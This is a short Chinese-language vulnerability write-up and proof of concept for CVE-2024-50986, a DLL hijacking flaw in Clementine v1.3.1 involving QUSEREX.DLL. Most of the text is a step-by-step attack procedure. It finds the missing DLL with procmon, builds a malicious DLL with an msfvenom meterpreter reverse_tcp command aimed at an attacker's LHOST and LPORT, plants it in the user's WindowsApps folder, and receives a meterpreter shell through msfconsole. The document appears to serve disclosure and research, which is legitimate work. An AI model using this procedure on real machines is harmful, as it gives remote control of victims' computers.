CVE-2024-50986：Clementine 的 DLL 劫持漏洞利用

描述： Clementine v.1.3.1 中的一个问题允许本地攻击者通过精心构造的 DLL 文件执行任意代码。

受影响版本： Clementine v.1.3.1

研究人员： Utkarsh (r1971d3) LinkedIn

NIST CVE 链接： https://nvd.nist.gov/vuln/detail/CVE-2024-50986

漏洞类型： 不受信任的搜索路径

受影响组件： QUSEREX.DLL

概念验证利用

攻击向量

为了利用此漏洞，攻击者需要构造一个名为 QUSEREX.DLL 的恶意 DLL，并将其放置在目录：C:\Users<用户名>\AppData\Local\Microsoft\WindowsApps\ 中。当 Clementine 应用程序启动时，它将加载该恶意 DLL，从而执行攻击者的代码。

描述与使用

1. 使用进程监视器（procmon）并设置适当过滤器，识别缺失的 DLL，并追踪 Clementine 在 Windows 操作系统中搜索它们的位置

2. 搜索结果显示，DLL "QUSEREX.DLL" 在多个位置被查找，包括 C:\Users<用户名>\AppData\Local\Microsoft\WindowsApps\

3. 使用 msfvenom 并通过以下命令创建恶意 DLL：

sudo msfvenom -p windows/meterpreter/reverse_tcp -ax86 -f dll LHOST=<IP Address> LPORT=<Port> > QUSEREX.DLL

4. 将该恶意 DLL 放置在目录 C:\Users<用户名>\AppData\Local\Microsoft\WindowsApps\ 中，Clementine 将成功加载它。

5. 使用 msfconsole，通过反向 shell 发送分段载荷，最终在目标机器的 C:\Program Files (x86)\Clementine\projectm-presets 目录中获得 meterpreter shell 会话。